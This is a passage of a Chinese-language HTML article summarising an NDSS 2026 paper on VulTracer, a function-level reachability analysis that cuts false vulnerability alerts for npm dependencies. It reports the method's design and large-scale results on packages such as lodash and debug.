normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这正是奇安信技术研究院和清华大学研究团队在 NDSS 2026 会议上发表的论文所要解决的核心问题。论文题目为 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》</span></strong><span leaf="">，作者为蒲应元（奇安信星图实验室），应凌云博士（奇安信星图实验室）和谷雅聪博士（清华大学）。这项研究针对全球最大的开源软件生态系统——npm（拥有超过 300 万个包，2024 年处理了约 4.5 万亿次请求），提出了一套基于函数调用关系的细粒度漏洞传播关系识别方法和分析框架。论文分析结果表明，</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">传统工具所产生的漏洞警告中，高达 68.28% 都是“噪声”，即漏洞代码实际上根本无法被触达。</span></strong></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">二、问题的本质：为什么传统方法会产生如此高的误报</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">npm生态系统的复杂性源于其极度碎片化的包依赖结构。已有研究显示，约四分之一的npm包版本依赖于存在已知漏洞的包。以 pac-resolver为例，这个每周下载量达 300 万次的 npm 包曾曝出高危远程代码执行漏洞，导致 GitHub 上超过 28.5 万个公共仓库可能面临风险。但问题的关键在于：</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">依赖存在漏洞的包，不等于你的应用真的受到影响。</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当前主流的软件成分分析（SCA）工具，如npm audit、GitHub Dependabot等，都采用</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">包级别</span></strong><span leaf="">的分析方法。它们的逻辑很简单：如果你的依赖树中存在包A的v1.0版本，并且包A的v1.0版本存在漏洞，则发出警报提醒你的应用受到影响。但这种粗粒度分析忽略了三个关键问题：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">未使用的依赖：<span textstyle="" style="font-weight: normal;">你的 package.json 声明了依赖，但代码中从未引入（require/import）该包的任何模块。</span></span></strong></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">浅层的 API 使用：<span textstyle="" style="font-weight: normal;">即使引入了包，可能只使用了其中若干个函数，而漏洞函数根本未被调用。</span></span></strong></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">传递性衰减：<span textstyle="" style="font-weight: normal;">通过多层依赖传递时，每一跳的使用范围都在缩小。</span></span></strong></li></ol><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">理论上，</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">函数级可达性分析</span></strong><span leaf="">是最佳解决方案——只有当存在从应用入口到漏洞函数的调用路径时，才认为应用真正可能受到影响。但在 npm 生态实施函数级分析面临三大技术挑战：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">首先是可扩展性挑战：传统方法需要为每个项目构建完整的调用图（Call Graph），也包含其所有依赖，对于复杂项目，依赖数量可达数百甚至上千个包。每次分析都要从头开始，计算成本呈指数级增长。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">其次是 JavaScript 的动态特性带来的程序分析挑战。极其灵活的语法特性为静态分析制造了诸多盲区：代码中广泛存在的动态属性访问（利用变量而非字面量调用函数）、将函数作为参数传递的高阶函数机制（回调），以及允许在运行时动态修改对象原型链的特性，都让静态分析器难以在运行前确定具体的调用目标和完整的控制流，从而极易导致依赖分析链路的断裂或缺失。具体代码示例如下：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.514626218851571" data-s="300,640" data-type="png" data-w="923" style="width:466px;height:240px;" type="block" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/lG0evzxL96m03XiaMlRt5AmqZjsOiceBibhRt7ict7H4VUjIZLh9Xa0DgqXoePiaIicTckzLJrb3MpVQcGyW0iacTRNbQ/640?wx_fmt=png&amp;from=appmsg" data-cropx1="79.26605504587157" data-cropx2="1002.7155963302753" data-cropy1="69.35779816513762" data-cropy2="544.954128440367" data-imgfileid="100005331" src="https://wechat2rss.xlab.app/img-proxy/?k=dd435037&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhLz2ibVfeQSFiciaoeLf0u5sw38c4II1fOaarsc5MUr968Dzb5IjekoUTg%2F640%3Fwx_fmt%3Djpeg"/></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">最后，JavaScript 语言模块系统的复杂性进一步加剧了分析难度：CommonJS (require)和 ESM (import/export) 不同的模块机制、module.exports对象可在运行时修改，以及require()的参数可以是动态表达式，这些都进一步加剧了分析难度。</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">三、VulTracer的核心设计和解决方案</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">面对这些挑战，我们设计并实现了 VulTracer 这个分析框架。它的核心洞察在于：</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">npm包一旦发布就不可变，因此可以为每个包预计算可复用的分析结果</span></strong><span leaf="">。这开启了“分析一次，复用多次”的新范式。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2611111111111111" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005316" src="https://wechat2rss.xlab.app/img-proxy/?k=a0d3b3aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhuBzcCDtW1oPmh63jCAib2ibN5m1diaA1pr18iaLr8LQ4FMia4xGhk6sds8Q%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">VulTracer 将传统的整体式分析分解为三个独立阶段，核心设计和架构如上图所示。以下将详细介绍每一个部分的设计逻辑和细节。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">3.1 富语义图生成 (RSG Generation)</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">首先，VulTracer 利用程序静态分析技术，为每一个包构建了一个 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">富语义图（Rich Semantic Graph, RSG）</span></strong><span leaf="">。这张图不仅看清了包内部的函数调用脉络，更关键的是，它显式地刻画了包的“边界”——哪些函数被暴露给了外部，又有哪些地方调用了外部依赖。传统的调用图（Call Graph）只记录“谁调用了谁”，而RSG设计了一个多层次的图结构，完整保留包的边界信息，图中的实体结构和详细定义如下图 DEF1 所示，包含了三类不同的顶点集合和边集合。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.2788844621513944" data-type="jpeg" data-w="1004" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005319" src="https://wechat2rss.xlab.app/img-proxy/?k=75937aa2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhs3P90N8IY8m1pJyibwJbJSt1qwyUTcSP6AyReiaNF5nssZTaUVqhsH4g%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">3.2 接口契约提取 (Interface Contract Extraction)</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">虽然 RSG 保留了包的全部内部细节，但如何让独立分析的包能够正确“对接”？这就涉及到了提取形式化的接口契约。VulTracer 从这张复杂的图中提取出了一份简洁的</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">形式化接口契约（Interface Contract）</span></strong><span leaf="">。这就像是给每个软件模块定义了标准的“插头”和“插座”，契约中清晰地记录了 API 的导出方式（Export Manifold）和导入方式（Import Manifest）。这一步至关重要，它充当了一道“语义防火墙”，屏蔽了复杂的内部实现细节，只保留了交互所需的关键信息。具体的定义如下图 DEF2 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.587037037037037" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005317" src="https://wechat2rss.xlab.app/img-proxy/?k=4512abe3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhvMFZEftwnVtN894jaM5KVHibaJvNyLdGiaCBmXR6iaUmsyaN0uicty9grg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">3.3 拓扑排序驱动的按需组合式合成 (Compositional Synthesis)</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后，当需要检测某个具体项目时，VulTracer 不再需要深究源代码，而是像拼乐高积木一样，根据依赖关系，将预先计算好的 RSG 和契约进行</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">组合式合成（Compositional Synthesis）</span></strong><span leaf="">形成一个新的生态级调用图 (ECG)。并且该 ECG 可根据任意真实项目的依赖关系按需组装。这种设计使得分析速度和扩展性得到了质的飞跃——在处理复杂的真实依赖图时，VulTracer 的成功率高达 99.41%，而对比的工具Jelly仅为 37.37%。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1787037037037038" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005318" src="https://wechat2rss.xlab.app/img-proxy/?k=64c8e83d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhkZmscD4UBGjt8sh4xnBQ8fEkkHxbwIA09ab4uL28Rtwm0vsv6nlz2Q%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">四、生态级实证研究：揭示漏洞传播的真相</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在这项工作中，我们利用 VulTracer 对整个 npm 生态进行了史上最大规模的函数级漏洞传播影响分析。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">4.1 数据集构建</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">首先我们构建了两个核心的数据集：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">• npm 生态数据集： 包含了 3,267,273个唯一npm包 以及其 34,685,976 个不同版本。同时解析并构建了整个生态中超过9亿条的依赖关系。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">• 漏洞数据集：我们采用双维度选择策略，确保选择的漏洞样本既有代表性又有多样性。一是高影响力漏洞，从 2024 年下载量排行 TOP 10 的软件包 lodash, debug, semver, minimatch 这四个核心库中，找到了影响他们的6个CVE漏洞，每个软件包都有数十万直接依赖包，并且漏洞影响了超过百万的下游软件包。二是多样性维度，对齐 2024 CWE-Top-25 的类型，覆盖注入(CWE-79)、原型污染(CWE-1321)等21个不同类型的 CVE 漏洞，代表不同的攻击向量。最终我们的研究涵盖了</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">27个CVE，涉及9,868,514条潜在传播路径。</span></strong></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">4.2 单跳分析：分析衰减的根本原因</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们首先聚焦于d₁ → d₀的单跳关系，这样可以排除多跳传播的复杂因素，精确归因。在我们的研究中建立了三层漏洞传播条件：仅引入模块 (C_mod)、调用任意函数 (C_func)、调用漏洞函数 (C_vuln_func)。定义如下图所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6277777777777778" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005315" src="https://wechat2rss.xlab.app/img-proxy/?k=2a8448a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhK5sDxe6bGQLABIcVAsu8ictp4AUibWJz1hvpvZLehlfUNIrWWGZoTG3g%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">只有 C_mod ∧ C_func ∧ C_vuln_func 同时为真，才认为漏洞真正传播。最终单跳的分析结果如下表所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6083333333333333" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005323" src="https://wechat2rss.xlab.app/img-proxy/?k=6882a745&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibh729wvQiaZC6iahticIlcA6VMoq8M9xw7vWIlT7KrJZ85pnBKbPw57RZnA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们发现平均 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">22.80%</span></strong><span leaf=""> 的直接依赖包声明了依赖，但从未导入任何模块（C_mod失败）。以 lodash 为例：存在 396,112 个声明依赖的包，但是有 131,933个“僵尸依赖” (33.31%)。这13万多个包背上了“有漏洞”的标签，但实际上完全不受影响。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时我们还发现，npm 第三方库的 API 设计决定传播率。同样的对于 lodash 这样一个综合工具库，拥有242个函数，但漏洞函数 template 只占所有调用的0.30%，排名第49位，详细分析如下图所示。说明这个函数的下游使用率并不高。与之相反的是 debug 库，它功能单一专注于调试，其核心功能函数就是其主函数，导致直接依赖者的受影响比例高达 71.77%。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8064814814814815" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 